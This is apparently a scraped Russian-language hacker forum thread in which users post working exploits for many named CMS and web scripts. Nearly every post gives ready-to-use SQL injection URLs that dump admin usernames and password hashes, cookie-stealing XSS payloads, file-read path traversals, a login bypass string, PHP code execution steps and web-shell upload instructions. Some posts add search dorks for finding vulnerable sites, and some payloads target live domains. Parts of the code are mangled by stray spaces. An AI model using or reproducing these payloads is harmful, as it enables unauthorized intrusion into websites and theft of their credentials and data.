host/admin/?module=Catalog&method=Info&top=-12 union select 1,2,3,version(),5,6,7,8,9,0,1,2,3,4,5,6,7,8--
host/admin/?module=Content&method=Info&top=-5 union select 1,2,3,4,version(),6,7,8,9,0,1,2,3--
Уязвима вся админка. Видимо разработчики решили, что баги в админке никому не нужны..
[Feldmarschall]
11.11.2010, 01:08
Дополнение к посту от SeNaP (https://antichat.live/showpost.php/p/2301053/postcount/421/)
WAP ENGINE 4.2 (Возможно и другие версии)
активная xss в гостевой книге
\modules\guest\send.php
$url="$_POST[url]";
...
$url=trim($url);
$url=str_replace('http://','',$url);
$url=str_replace('|','',$url);
Сайт (URL): __XSS
Путь
http://wap-engine.ru/modules/news/last.php
http://wap-engine.ru/modules/news/last1.php
Ajax OnlineShop 1.0
SQL Injection
оффсайт:
http://www.ajax-onlineshop.de/demo/index.php?id=4997+UNION+SELECT+1,2,3,version%28%29 ,5,6,7,8%20--+#seo_loaded%28-4997%29
параметр index.php?id= прийдется дописывать самому из за функции:document.URL.split
// if get id in url but no #
if ( ( != 0) && (!) && (document.URL.search(/#.+/) == -1) ) {
wohinJS = 'reloa d';
var start_name = document.URL.split ('?id=');
var hist_event_na me = start_name[0] + "(" + start_name[1] + ")"; // generate history-event-name
addHistoryEvent('s eo_loaded('+ start_name[1] +')', start_name[1]); // load requested page
}
else {
var start_name = document.URL.split ('#');
if (start _name[1]) { // exist history-ID in url...
wo hinJS = 'reload';
st art_name = start_name[1].split ('('); // ...yes, split the name
va r start_id = filterZahl(start_name[1]); // extract the id // del wenn sicher: filterZahl(start_url)
//$('log').innerHTML = start_name[0] + " - " + start_id; // testing
va r hist_event_name = start_name[0] + "(" + start_id + ")"; // generate history-event-name
ad dHistoryEvent(hist_event_name, start_id); // load requested page
}
else { // ...no, then load shop-startpage
уязвимы все сайты,их достаточно много
Ajax OnlineShop 1.0
SQL Injection
оффсайт:
http://www.ajax-onlineshop.de/demo/index.php?id=4997+UNION+SELECT+1,2,3,version%28%29 ,5,6,7,8%20--+#seo_loaded%28-4997%29
параметр index.php?id= прийдется дописывать самому из за функции:document.URL.split
// if get id in url but no #
if ( ( != 0) && (!) && (document.URL.search(/#.+/) == -1) ) {
wohinJS = 'reloa d';
var start_name = document.URL.split ('?id=');
var hist_event_na me = start_name[0] + "(" + start_name[1] + ")"; // generate history-event-name
addHistoryEvent('s eo_loaded('+ start_name[1] +')', start_name[1]); // load requested page
}
else {
var start_name = document.URL.split ('#');
if (start _name[1]) { // exist history-ID in url...
wo hinJS = 'reload';
st art_name = start_name[1].split ('('); // ...yes, split the name
va r start_id = filterZahl(start_name[1]); // extract the id // del wenn sicher: filterZahl(start_url)
//$('log').innerHTML = start_name[0] + " - " + start_id; // testing
va r hist_event_name = start_name[0] + "(" + start_id + ")"; // generate history-event-name
ad dHistoryEvent(hist_event_name, start_id); // load requested page
}
else { // ...no, then load shop-startpage
уязвимы все сайты,их достаточно много
547, не тот код уязвим.
Так правильнее будет.
--->index.php
if ( (isset($_GET['id'])) && ($_GET['id'] !="") ) {
$startpage="false";
$id_page=$_GET['id'];
}
else {
$id_page=get_startpage_link(false,false,true);
$startpage="true";
}
$seo_infos=seo_get_site_infos($id_page);
--->config.php
functionget_prod_comments($page,$prod_id,$new_adde d) {
global$db,$js;$outputText="";$backgr_zaehler=0;$backgr="backgroundcolor: #".$GLOBALS["row_colors"]['backgr_maindivs'].";";
$seitenzahl_arr=gen_seitenzahlarr($page,"","","aong_shop_art_comments",$db,"prodID ={$prod_id}AND del='N'","prodcomments");
$limit="";
if (!$js) {
$limit=" LIMIT ".$seitenzahl_arr["start"].", ".$seitenzahl_arr["proseite"];
}
$result=$db->sql("SELECT * FROM aong_shop_art_comments ".$seitenzahl_arr["where_state"]." ORDER BY ID DESC{$limit}");
$page_prodcomments_amount=$db->count_rows();
if (!$js) {
$outputText.=gen_seitenzahlen($page,1,$seitenzahl_ arr["proseite"],$seitenzahl_arr["seiten"],$seitenzahl_arr["start"],"oben","","","","","prodcomments",$prod_id);
}
$outputText.=
"";
while ($row=mysql_fetch_array($result)) {
if ($backgr_zaehler%2==0){
$backgr="background-color: #".$GLOBALS["row_colors"]['backgr_maindivs'].";";
}
else{
$backgr="background-color: #".$GLOBALS["row_colors"]['backgr_div_weich'].";";
}
if ( ($new_added) ==1&& ($backgr_zaehler==0) ){
$new_added_addon=" color: #2A5206;";
}
else {
$new_added_addon="";
}
$outputText.="
".$row["name"]."am ".date("d.m.Y",$row["time"])." um ".date("H:i",$row["time"])." Uhr
vor ".intervall(time()-$row["time"])."
".nl2br($row["txt"])."
";
$backgr_zaehler++;
}
$outputText.="";
if (!$js) {
$outputText.=gen_seitenzahlen($page,1,$seitenzahl_ arr["proseite"],$seitenzahl_arr["seiten"],$seitenzahl_arr["start"],"unten","","","","","prodcomments",$prod_id);
}
return$outputText;
}
....
https://rdot.org/forum/showpost.php?p=9338&postcount=5
DeepBlue7
15.11.2010, 05:06
MyMuWeb 0.7,0.6 (более ранние не смотрел)
Движок довольно часто встречается на игровых серверах Mu Online. Фикс давно вышел, но есть еще довольно много "отсталых".
Sql injection :
http://localhost/?ref='updаtе/**/memb_info/**/set/**/mmw_status='9'/**/where/**/memb___id='Ваш юзернейм'--&ref=Существующий на сервере юзернейм (можно свой)
П.С. БД железобетонно MSSQL.
Дополнение к посту от 547 (https://antichat.live/showpost.php/p/2427908/postcount/434/)
Ajax OnlineShop 1.0
Xss
офф-демо-сайт
http://www.ajax-onlineshop.de/demo/index.php?id=1">alert('d0s')
+xss на офф.сайте
http://www.ajax-onlineshop.de/servicemail/
Заполняем все поля,уязвимое поле - Name
Вбиваем туда что-нибудь типо
[CODE]
">alert(1)
osPHPSite 0.0.1 Beta
http://www.osphpsite.com/
SQL Injection:
/index.php
...
$id=$_GET['id'];
database_connect();
$query="SELECT * from content
WHERE id =$id";
...
Пример:
http://php/index.php?id=25%20union%20select%201,concat_ws(0x3 a,id,username,password),3,4,5,6,7,8 from user--
Необходимы права администратора. Путь:
http://php/admin/index.php?page[]=config
Многие места так же уязвимы к SQL inj. Скрипт полностью бажный.
NinkoBB v. 1.3
http://ninkobb.com/
XSS:
Создаем новый топик, по адресу message.php с "Subject" и "Message" содержанием:
alert('xss')
И пока топик висит на главной странице имеем активную XSS.
[/B]
KAPCMS v0.904
http://kapcms.ru/
XSS
Вписываем в поле поиска пишем:
alert(1)
Гет запрос будет выглядить следующем образом:
http://kapcms.ru/?s=alert(1)&page=11
[/B]
Creativestate
Тип уязвимости: SQL inj
http://www.creativestate.com/work
dork:Site design by Creative State
админка:localhost/admin/
пример:/index.cfm?id=-2%20union%20select%201,2,3,4,5,6,7,8,group_concat( managerLogin,0x3a,managerPassword)%20from%20manage rs%20--
Web@all CMS
http://webatall.com/
XSS
Вписываем в поле поиска (сразу под формой входа в правом верхнем углу,если кто ненашел):
alert(document.cookie)
Дополнение к посту Root-access (https://antichat.live/showpost.php/p/2054722/postcount/353/)
CompactCMS
офф сайт: compactcms.nl (http://compactcms.nl)
XSS
content/403.php
Пример:
http://demo.compactcms.nl/content/403.php?page=alert(document.cookie)
Тоже самое в файле 404.php по соседству.
xzengine 1.7 beta 8
Офф сайт xzengine.ru (http://xzengine.ru/)
DORK : "Powered by xzengine"
SQL injection
Крутим через ошибку,пример на нескольких сайтах:
http://xzengine.ru/index.php?category=1+or+1+group+by+concat(version( ),floor(rand(0)*2))having+min(0)+or+1--+
http://glassofvine.ru/index.php?category=1+or+1+group+by+concat(version( ),floor(rand(0)*2))having+min(0)+or+1--+
http://hightvoltage.net/index.php?category=1+and+ExtractValue(1,concat(0x5 c,(select+version())))--+
XSS
Пример:
http://xzengine.ru/index.php?category=1-->alert(1)
Заливка шелла,нужны права админа
В админке "загрузить файл",льем наш шелл и он будет по адресу site.com/upload/shell.php
//если есть возможность(двиг не платный) то показывайте уязвимый код. (Konqi)
Фараон
Не совсем так,даже если ты закоментируешь обращение к бд ето,то инъекция будет,т.к. там еще 2 обращение к бд с этой переменной.И зачем ты копировал мой пост?
Дополнение к посту ~d0s~(#444):
Xzengine 1.7 beta 8
SQL injection:
/index.php
...
require_once'./classes/viewnews.php';
...
if(isset($_GET['category']))
$category=$_GET['category'];
...
/viewnews.php
...
if($category==0)
{$result=AbstractDataBase::Instanc e()->query('SELECT * FROM '.DATABASE_TBLPERFIX.'news WHERE news_fixed = 0 AND news_approve = 1 AND news_view = 1 ORDER BY news_id DESC LIMIT '.$newsperpage*$page.','.$newsperpage);
}
else
{$result=AbstractDataBase::Instanc e()->query('SELECT * FROM '.DATABASE_TBLPERFIX.'news WHERE news_fixed = 0 AND news_approve = 1 AND news_view = 1 AND news_category = '.$ category.' ORDER BY news_id DESC LIMIT '.$ newsperpage*$page.','.$newsperpage);
}
...
Пример:
http://eng/index.php?category=3%20union%20select%20concat_ws( 0x3a,users_login,users_password),2,3,4,5,6,7,8,9,1 0,11,12,13%20from%20xz_users%20limit%200,1--
Sobak CMS 0_2
Скачате: http://sourceforge.net/projects/sobakcms/
LFI
Need: rg = on ; mq = off
index.php
$id=$_GET['id'];
//...
if ($isInWebs==true) {
include ('webs/'.$id.'.php');
}
//...
эксплуатация:
http://localhost/sobak/index.php?isInWebs=1&id=../robots.txt%00
Ragnarok Online Site Engine
http://sourceforge.net/projects/ro-se/
SQLi
include_before.php
//...
$ip=getIP();
// был ли сегодня, если нет то добавим хапись вместе с реф страницей, если был , то добавим счетчик за э от день
$query="SELECT count(*) as cnt FROM ".$config['ros_db'].".ros_counter WHERE DATE_FORMAT(date, '%Y%m%d')= '".date("Ymd")."' and `ip`='".$ip."'";
$result=GetAll($query);
if($result[0]['cnt']){// был сегодня, обновим сче чик
query("UPDATE ".$config['ros_db'].".ros_counter SET `count`=`count`+1 WHERE DATE_ FORMAT(date, '%Y%m%d')='".date("Ymd")."' and `ip`='".$ip."'");
}else{// ненбыло сегодня, добавим с реферрером
query("INSERT INTO ".$config['ros_db'].".ros_counter (`count`, `ip`, `ref`, `date`) V ALUES ('1', '".$ip."', '".getenv("HTTP_REFERER")."', NOW())");
}
//...
/include/functions.php
//...
functiongetIP() {
if(getenv("HTTP_CLIENT_IP")) {
$ip=getenv("HTTP_CLIENT_IP");
} elseif(getenv("HTTP_X_FORWARDED_FOR")) {
$ip=getenv("HTTP_X_FORWARDED_FOR");
} else {
$ip=getenv("REMOTE_ADDR");
}
return$ip;
}
/include/db_connect.php
functionquery($query,$DB=0){
global$config;
if(isset($config['debug']) &&$config['debug']){
echo$query."
\n";
}
if($DB){
$result=mysql_query($query,$DB);
}else{
$result=mysql_query($query);
}
if(mysql_error()){
echomysql_error()."
\n";
echo"query:".$query."
\n";
returnnull;
}else{
return$result;
}
}
Как видно из кода у нас инъекция в хедере при чем в селекте и инсерте, покажу варианты раскрутки. Еще больше меня порадовала функция запроса, в случае ошибки она выводит саму ошибку + сам запрос, и нет никаких exit`ov и die`v.
Эксплуатация: http://site.com/index.php
client-ip: 'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'
либо
client-ip: ', 'lala', NOW()) on duplicate key update a=(select 1 from(select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)))a)-- 1
EyeX CMS
http://sourceforge.net/projects/eyex/
SQLi / LFI
Need:
mq=off
index.php
$sec=$_GET['sec'];
if(empty($sec)){$sec=$_POST['sec']; }
//...
if(empty($sec)){
//...
}
}else{
$mainfun3=$db("SELECT mod_status, mod_folder FROM "._CPBD."_mods WHERE mod_folder='$sec'",$link2);
list($mod_status,$mod_folder) =$dbfetch($mainfun3 );
sql_cls($mainfun3);
if(file_exists("Addons/mods/".$mod_folder."/main.php")){
if(is_admin($admin)){
include("Addons/mods/".$mod_folder."/main.php");
}else{
if($mod_status=="1"){
include("Addons/mods/".$mod_folder."/main.php");
}else{
header("Location: error.php?code=NOACTIVE");
}
}
}else{
header("Location: error.php?code=NOMOD");
}
}
/system/sql_functions.php
define("_SQL_QUERY","mysql_query");
define("_SQL_FETCH","mysql_fetch_row");
define("_SQL_NROWS","mysql_numrows");
$db=""._SQL_QUERY."";
$dbfetch=""._SQL_FETCH."";
$dbnum=""._SQL_NROWS."";
Ну думаю тут все ясно, полученный результат из выборки инклюдится.
Эксплуатация:
http://localhost/eyexcms/index.php?sec=assdas'+union+select+1,'../../readme.txt%00'-- 1
SQLi
Need:
mq=off
/Addons/mods/news/main.php
$st=$_GET['st'];
if(empty($st)){
$st=$_POST['st'];
}
//...
functionReadStory(){
global$bgtable,$db,$dbfetch,$dbnum,$link2,$bgtable ;
$article=$_GET['article'];
ROhead();
if(empty($article)){
wmsg();
}
$result=$db("SELECT nid, ntitle, ntext, ndate, nautor, to pic FROM "._CPBD."_news WHERE nid='$article'",$link2);
list($nid,$ntitle,$ntext,$ndate,$nautor,$topic) = $dbfetch($result);
change_tpl($nautor,$ntitle,$ntext,$ndate,$topic,$n id);
comentarios($nid);
ROfoot();
sql_cls($result);
}
//...
switch($st){
case"ReadStory":ReadStory();break;
case"SaveComment":SaveComment();break;
default:index();break;
}
Эксплуатация:
http://localhost/eyexcms/index.php?sec=news&st=ReadStory&article=-1'+union+select+1,version(),3,4,5,6-- 1
mapmyglobe
http://sourceforge.net/projects/mapmyglobe/
BSQLi
/user/caccnut.php
$username=$_POST['username'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$email=$_POST['email'];
require_once'../lib/dbconfig.php';
require_once'../lib/liblogin.php';
require_once'../lib/config.php';
if ($password1!=$password2){
echo"Different passwords. Please try again.";
exit;
}
if ($username==''||is_numeric(substr($username,0, 1))){
echo"Username must start with a letter. Please t ry again.";
exit;
}
if (ereg("^[a-zA-Z0-9_]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$]",$email)){
echo"Wrong email format. Please try again.";
exit;
}
$rs=query('select * from user where name="'.$username.'"');
if ($row=mysql_fetch_assoc($rs)){
echo"Username already exists. Please try again.";
exit;
}
/lib/dbconfig.php
functionquery($q) {
global$conn,$conf;
$result=mysql_query($q,$conn);
if (!$result) {
if ($conf['prod']){
die("Invalid query");
}
else{
die("Invalid query --$q-- ".mysql_error());
}
}
return$result;
}
$conf['prod'] по умолчанию не установлен, поэтому имеем вывод в ошибке.
Эксплуатация:
http://localhost/mapmyglobe-0.1/user/caccnt.php
POST:
username="and(select*from(select(name_const(version(),1)),na me_const(version(),1))a)and"
CMS ElcoSite
Активная XSS вида ">[XSS] в форме для комментариев по адресу
/publication.mhtml
Пассивная XSS
/search.mhtml?Search=">alert(%2Fxss%2F)
/publication.mhtml?Part=38&PubID=1%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2 Fscript%3E
/publication.mhtml?Part=3">
------------------------------------------> UPD UPD
MediaWiki, Эскейп-последовательности приводящие к XSS в IE
CMS MediaWiki
Уязвимая версия: 1.15.3
Из-за неправильной обработки управляющих последовательностей, создается возможность првоедения XSS в стилях CSS, при просмотре web страницы через браузер Internet Explorer.
Для использования данной уязвимости необходимо вставить последвательность "\72" в формате "" внутри тэга объявляющего URL, т.е
Эксплойт
url([
JAVASCRIPT
])
(c) Kuriaki Takashi (https://bugzilla.wikimedia.org/show_bug.cgi?id=23687)
Email Management Software || Скрипт для создания электронного почтового сервиса
Название скрипта: one_mail
Сайт автора:
http://www.everyone.net/index.html
Описание уязвимостей:
Множесвенные XSS уявзвимости вида ">[XSS]
Адрес уязвимой страницы:
http://localhost/email/scripts/collectRegistrationInfo.pl
Muzica Free Version 1SQL Injection:
Download (http://script-master.ru/all-scripts/multimedia-scripts/111-skachat-skript-dlja-sozdanija-muzykalnogo-portala.html)
melodie.php
$id_melodie=$_GET['melodie'];
$result=mysql_query("SELECT id_categorie, nume_melodie, vizualizari_ melodie, data_melodie, text_melodie, download_m elodie FROM ".$nume_baza.".melodie WHERE id_melodie =".$id_melodie);
http://localhost/melodie.php?melodie=1 union select 1,2,3,4,5,6
230 CMS
230 CMS
1. SQLi (права админа)
File:/include/edit/edit.php
$sql="SELECT * FROM ".DATABASE_PREFIX."articles WHERE pagename = '".$_POST['pagename']."' AND id = '".$_POST['id']."' LIMIT 1";
$result=mysql_query($sql) or die (mysql_error() );
PoC: POST pagename=1&id=1'+union+select+1,concat_ws(0x3a,username,passw ord),3,4,5+from+230_users--+
2. SQLi в INSERT (права админа)
File:/include/edit/create.php
$id=strip_tags($_POST['id']);
$sql="INSERT INTO ".DATABASE_PREFIX."articles (`id`, `pagename`, `text`, `summary`, `name`) VALUES ('".$id."', '".$title."', '".$text."', '".$summary."', '".$name."')";
$result=mysql_query($sql) or die (mysql_error() );
Уязвимое поле: $_POST['id']
Web Doors CMS
1. SQLi
File:/sys/visit_logger.php
mq = off
$log_referrer=$_SERVER['HTTP_REFERER'];
$checkPage=mysql_query("SELECT lvp_id FROM$logPagesTblWHERE lvp_page L IKE '$log_page'");
PoC:
GET /index.php
Referer: http://blabla.com' or substring(version(),1,1)=5-- 1
2. Список файлов в директории
File:/sys/files/file_manager.php
if(isset($_GET['path'])){
$f_way=$_GET['path'];
$f_path=$f_way.'/';
...........................
$f_dir=opendir($f_path);
PoC: http://localhost/sys/files/file_manager.php?path=../..
[RedSky]
07.05.2011, 22:01
LamaCMSSQLi
Need: магия off, аккаунт юзера
./modules/pages/add1.php
echo'Add Page';
if(isset($_POST['title']) && !empty($_POST['title']))
{
$title=$_POST['title'];
$msg=$_POST['textfield'];
$author=$_SESSION['username'];
$query="INSERT INTO pages (title,content,author) VALUE S ('$title','$msg','$author')";
mysql_query($query);
echo'Your page has been added.';
}
else
{
echo'Not all fields are filled in co rrectly. Try again.';
}
Example:
http://localhost/lamacms/index1.php?inav=pages&modapp=add
Title: ololo', (select concat_ws(0x3a,username,password)as krasnoenebo from users limit 0,1), 'redsky')-- -
Либо напрямую шлем пост-запрос.
Идем смотреть пагу, в контенте будет вывод.
Authorization bypass
Need: магия в оффе
./index.php
switch (@$_POST['action'])
{
//Case1: login form submitted
case"login":
$username=$_POST['username'];
$password=$_POST['password'];
$query="SELECT * FROM users WHERE username='$username ' AND password = md5('$password')";
$result=mysql_num_rows(mysql_query($query));
$sql=mysql_query($query);
while ($results=mysql_fetch_assoc($sql))
{
$membertype=$results['membertype'];
}
Example:
login: a'or(1)#
password: =(
Также при добавлении и редактировании чего-либо имеются скули, но смысла в их выкладывании не вижу, т.к. имеются теже зависимости, что и в предыдущих багах.
TuoCMS
1. PHP Code Execution + LFI
File:/inc/mod-rfi.inc.php
Need:rg = on
$pos1 = strpos($pagina, "tp://");
$pos2 = strpos($pagina, "tps://");
if (($pos1 === false) && ($pos2 === false)) {
} else {
..............................
if (!file_exists($ifile)) {
$string = "\n";
$llog = fopen($ifile ,"w+");
$string = fwrite($ll og, $string);
fputs($llog,"# $subject\n $body\n");
fclose($llog);
}else{
$llog = fopen ( $ifile,"a+");
fputs($llog,"# $subject\n $body\n");
fclose($llog);
}
Посмотрев на код видно, что если передавать существующий файл, то в файл впишется верху и это нам все обломает. Поэтому мы будем записывать в конец уже имеющегося файла.
PoC:
1) http://localhost/inc/mod-rfi.inc.php?pagina=http://&ifile=../config.dat.php
2) http://localhost/index.php?pagina=config.dat.php&cmd=phpinfo();
заливаем шелл в 4images
протестировал в версии 1.7.7
нужны админские права.
заходим в админку, Общие настройки->установки
Разрешенные типы файлов для закачки--> добавляем расширение php, сохраняем, идем в раздел Фотографии
-->Добавить фотографию
выбераем наш шелл, включаем тампер дату и меняем mime на image/jpeg (для примера)
шелл будет где то здесь
http://www.site.com/4images/data/media/1/shell.php
вместо папки 1, может быть другой номер, смотря какой альбом выбрали
Sharelor File Sender 2.0
Скачать (http://tutweb.ru/other/575-sharelor-file-sender-20.html)
SQL Injection:
/admin/email_config.php
Need: admin account; mg=off
...
if($_REQUEST['email_id']){
$strSql="select * from ".DB_TABLE_PREFIX."template_emails where email_id = '".$_REQUEST['email_id']."'";
$rsEdit=$conn->execute($strSql);
}
...
Пример:
http://test1.ru/admin/email_config.php?email_id=-1000' union select 1,concat_ws(0x3a,admin_login,admin_password),3,4 from xl_site_config
SQL Injection:
/view.php
Need:mg=off
...
$strSql="select * from ".DB_TABLE_PREFIX."files where `key` = '".$_REQUEST['key']."'";
...
Пример:
http://test1.ru/view.php?key=-1' union select 1,2,3,4,5,concat_ws(0x3a,admin_login,admin_passwor d),7,8,9,0,1,2 from xl_site_config
Дорк:intext:"Sharelor.com. All Rights Reserved."
RapidSendit Clone 1.0
Скачать (http://tutweb.ru/other/573-rapidsendit-clone-10.html)
Читалка:
download.php
Need: admin account; mg=off
...
if(isset($_GET['file'])) {
$rand2=$_GET['file'];
}
...
if (file_exists("./storagedata/".$rand2.".txt")) {
$fh1=fopen("./storagedata/".$rand2.".txt",r);
$foundfile=explode('|',fgets($fh1));
fclose($fh1);
}
...
Пример:
http://test1.ru/download.php?file=../password.txt%00
Дорк:intext:"Powered By: Rapidsendit Clone V.1.0"
WebsiteBaker CMS
Уязвимый модуль : Event_Calendar
SQL Injection
/modules/event_calendar/details_popup.php
$event_id=$_GET['entry_id'];
$sql="SELECT id,start_time,end_time,short_description,l ong_description,link_text,link_http,type FROM ".TABLE_PREFIX."mod_event_calendar WHERE id =$event_id;";
$query_entries=$database->query($sql);
$entry=$query_entries->fetchRow();
дорк или метод заливка шелла не имеют смысла описать, все элементарно..
FácilCMS
sourceforge.net/projects/facil-cms
1. SQL-inj (достаем админа)
News.mysql.class.php
wagner.santos@dotlinux.com.br
* Celina Jorge -> celina.jorge@dotlinux.com.br
*
* ============================================= =======================
* Facil-CMS is Free Software. You can redistribute it and/or modify it
* under the terms of the GNU General Pub lic License as published by
* the Free Software Foundation (either ver sion 2.0 of the license).
* ============================================= =======================
*/
classNews
{
var$_ID=false;
var$_LANGUAGE=null;
var$_TITLE='';
var$_RESUME='';
var$_CONTENT='';
var$_PUBLISHER=null;
var$_DATE=null;
var$_STATUS='0';
function__constructor($id=false)
{
if($id)
{
$this->getNewInfo($id);
}
}
functionNews($id=false)
{
if($id)
{
$this->getNewInfo($id);
}
}
functiongetId()
{
return$this->_ID;
}
functionsetId($id)
{
$this->_ID=$id;
}
functiongetLanguage()
{
return$this->_LANGUAGE;
}
functionsetLanguage($language)
{
$this->_LANGUAGE=$language;
}
functiongetTitle()
{
return$this->_TITLE;
}
functionsetTitle($title)
{
$this->_TITLE=$title;
}
functiongetResume()
{
return$this->_RESUME;
}
functionsetResume($resume)
{
$this->_RESUME=$resume;
}
functiongetContent()
{
return$this->_CONTENT;
}
functionsetContent($content)
{
$this->_CONTENT=$content;
}
functiongetPublisher()
{
return$this->_PUBLISHER;
}
functionsetPublisher($publisher)
{
$this->_PUBLISHER=$publisher;
}
functiongetDate()
{
return$this->_DATE;
}
functionsetDate($date)
{
$this->_DATE=$date;
}
functiongetStatus()
{
return$this->_STATUS;
}
functionsetStatus($status)
{
$this->_STATUS=$status;
}
functiongetNewInfo($id)
{
$sql="SELECT * FROM "._NEWS_DB_TABLE_." WHERE id=".$id;
$res=$GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() .'
'.$sql);
if($res->RecordCount() ==1)
{
$this->setContent($res->fields('content'));
$this->setDate($res->fields('date'));
$this->setId($res->fields('id'));
$this->setLanguage($res->fields('language'));
$this->setPublisher($res->fields('publisher'));
$this->setResume($res->fields('resume'));
$this->setStatus($res->fields('status'));
$this->setTitle($res->fields('title'));
returntrue;
}
}
functionAdd()
{
if(!$this->getId())
{
$sql="INSERT INTO "._NEWS_DB_TABLE_." (id, language, title, resume, content, publ isher, date, status) VALUES (null, '".$this->getLanguage() ."', '".$this->getTitle() ."', '".$this->getResume() ."', '".$this->getContent() ."', ".$this->getPublisher() .", NOW(), '".$this->getStatus() ."')";
if($GLOBALS['DB']->Execute($sql))
{
returntrue;
}
else
{
die($GLOBALS['DB']->ErrorMsg() .'
'.$sql);
}
}
}
functionErase()
{
if($this->getId())
{
$sql="DELETE FROM "._NEWS_DB_TABLE_." WHERE id=".$this->getId();
if($GLOBALS['DB']->Execute($sql))
{
returntrue;
}
else
{
die($GLOBALS['DB']->ErrorMsg() .'
'.$sql);
}
}
}
functionUpdate()
{
if($this->getId())
{
$sql="UPDATE "._NEWS_DB_TABLE_." SET language='".$this->getLanguage() ."', title='".$this->getTitle() ."', resume='".$this->getResume() ."', content='".$this->getContent() ."', status='".$this->getStatus() ."' WHERE id=".$this->getId();
if($GLOBALS['DB']->Execute($sql))
{
returntrue;
}
else
{
die($GLOBALS['DB']->ErrorMsg() .'
'.$sql);
}
}
}
functioncountNews($language=false)
{
$sql="SELECT COUNT(*) as Total FROM "._NEWS_DB_TABLE_." WHERE status='1'";
$res=$GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() .'
'.$sql);
return$res->fields('Total');
}
functionlistNews($start=0,$limit=30,$lan guage=false)
{
if($language)
{
$language=' language="'.$language.'"';
}
else
{
$language='';
}
if(!$_SESSION['UTYPE'] =='1')
{
$status=" status='1'";
}
else
{
$status='';
}
if($language!=''||$status!='')
{
$where=' WHERE';
if($language!='')
{
$where.=$language;
}
if($status!='')
{
if($language!='' )
{
$where.=' AND';
}
$where.=$status;
}
}
$sql="SELECT * FROM "._NEWS_DB_TABLE_.$where." ORDER BY date DESC LIMIT ".$start.", ".$limit;
$res=$GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() .'
'.$sql);
if($res->RecordCount() >0)
{
$array= array();
while(!$res->EOF)
{
$utils= newfacilUtils();
$date=$utils->formatDate($res->fields('date'));
$array[] = array('id'=>$res->fields('id'),'title'=>$res->fields('title'),'date'=>$date);
$res->MoveNext();
}
return$array;
}
}
}
?>
http://temp/modules.php?modload=News&op=view&id=1+UNION+SELECT+1,2,group_concat(email,0x3a,pass word+SEPARATOR+0x3c62723e),4,5,6,7,8+FROM+facil_us ers+WHERE+type=1+--+
2. Другой способ попасть в админку, если не получилось брутануть хэш админа (урл выше).
login.php
wagner.santos@dotlinux.com.br
* Celina Jorge -> celina.jorge@dotlinux.com.br
*
* ============================================= =======================
* Facil-CMS is Free Software. You can redistribute it and/or modify it
* under the terms of the GNU General Pub lic License as published by
* the Free Software Foundation (either ver sion 2.0 of the license).
* ============================================= =======================
*/
session_start();
require_once('config.inc.php');
require_once(_FACIL_INCLUDES_PATH_.'/facil-settings.php');
if($_POST['email'] &&$_POST['password'])
{
require_once(_FACIL_MODULES_PATH_.'/Users/i18n/lang-'.$_SESSION['FACIL_LANGUAGE'] .'.php');
require_once(_FACIL_MODULES_PATH_.'/Users/config.php');
require_once(_FACIL_MODULES_PATH_.'/Users/class/index.php');
$email=$_POST['email'];
$password=md5($_POST['password']);
$user= newUsers();
$login=$user->Login($email,$password);
if($login&& !is_null($login) && !empty($login))
{
$user= newUsers($login);
$_SESSION['UID'] =$user->getId();
$_SESSION['UTYPE'] =$user->getType();
$_SESSION['EMAIL'] =$user->getEmail();
$_SESSION['NAME'] =$user->getName();
header("location: modules.php?modload=Users");
}
else
{
$js= newjsAlert(_BAD_USER_OR_PASSWORD_,'history.g o(-1);');
print$js->Alert();
}
}
elseif($_GET['logoff'] =="1")
{
foreach($_SESSIONas$id=>$value)
{
$_SESSION[$id] =false;
unset($_SESSION[$id]);
header("location: index.php");
}
}
else
{
header("location: index.php");
}
?>
Для этого способа требуется лишь мыло админа.
http://temp/modules.php?modload=News&op=view&id=1+UNION+SELECT+1,2,group_concat(email+SEPARATOR +0x3c62723e),4,5,6,7,8+FROM+facil_users+WHERE+type =1+--+
Для авторизации админом потребуется лишь ввести мыло и любой пароль, при этом закомментив строку сразу после ввода мыла, то бишь:
admin@facilcms.org--
или
admin@facilcms.org/*
3. Заливаемся
adminPhotos.php
wagner.santos@dotlinux.com.br
* Celina Jorge -> celina.jorge@dotlinux.com.br
*
* ============================================= =======================
* Facil-CMS is Free Software. You can redistribute it and/or modify it
* under the terms of the GNU General Pub lic License as published by
* the Free Software Foundation (either ver sion 2.0 of the license).
* ============================================= =======================
*/
require_once('header.php');
$theme= newthemeFacil();
print$theme->moduleTitle('Albums');
if($_POST['op'])
{
$op=$_POST['op'];
}
elseif($_GET['op'])
{
$op=$_GET['op'];
}
else
{
$op=false;
}
switch($op)
{
default:
break;
case"add":
if($_POST['album'] &&$_FILES)
{
$util= newfacilUtils();
$comment=$util->htmlentities($_POST['comment']);
$photo= newPhotos();
$photo->setAlbum($_POST['album']);
$photo->setComment($comment);
$photo->setFile($_FILES['file']['name']);
if($photo->Add())
{
$js= newjsAlert(_PHOTO_SUCCESSFULLY_UPLOADED_,"window.location='"._MODULE_URL_."&op=view&id=".$_POST['album'] ."';");
print$js->Alert();
}
else
{
$js= newjsAlert(_ERROR_WHILE_UPLOADING_PHOTO_,'hi story.go(-1);');
print$js->Alert();
}
}
break;
case"edit":
if($_POST['id'])
{
$id=$_POST['id'];
}
elseif($_GET['id'])
{
$id=$_GET['id'];
}
else
{
$id=false;
}
if($id)
{
$form= newformPhotos();
print$form->Edit($id);
}
break;
case"change":
if($_POST['id'])
{
$util= newfacilUtils();
$comment=$util->htmlentities($_POST['comment']);
$photo= newPhotos($_POST['id']);
$photo->setComment($comment);
if($photo->Update())
{
$js= newjsAlert(_PHOTO_SUCCESSFULLY_CHANGED_,"window.location='"._MODULE_URL_."&op=photo&id=".$_POST['id'] ."';");
print$js->Alert();
}
else
{
$js= newjsAlert(_ERROR_WHILE_UPDATING_PHOTO_,'his tory.go(-1);');
print$js->Alert();
}
}
break;
case"erase":
if($_GET['id'])
{
$photo= newPhotos($_GET['id']);
if($photo->getId())
{
if($photo->Erase())
{
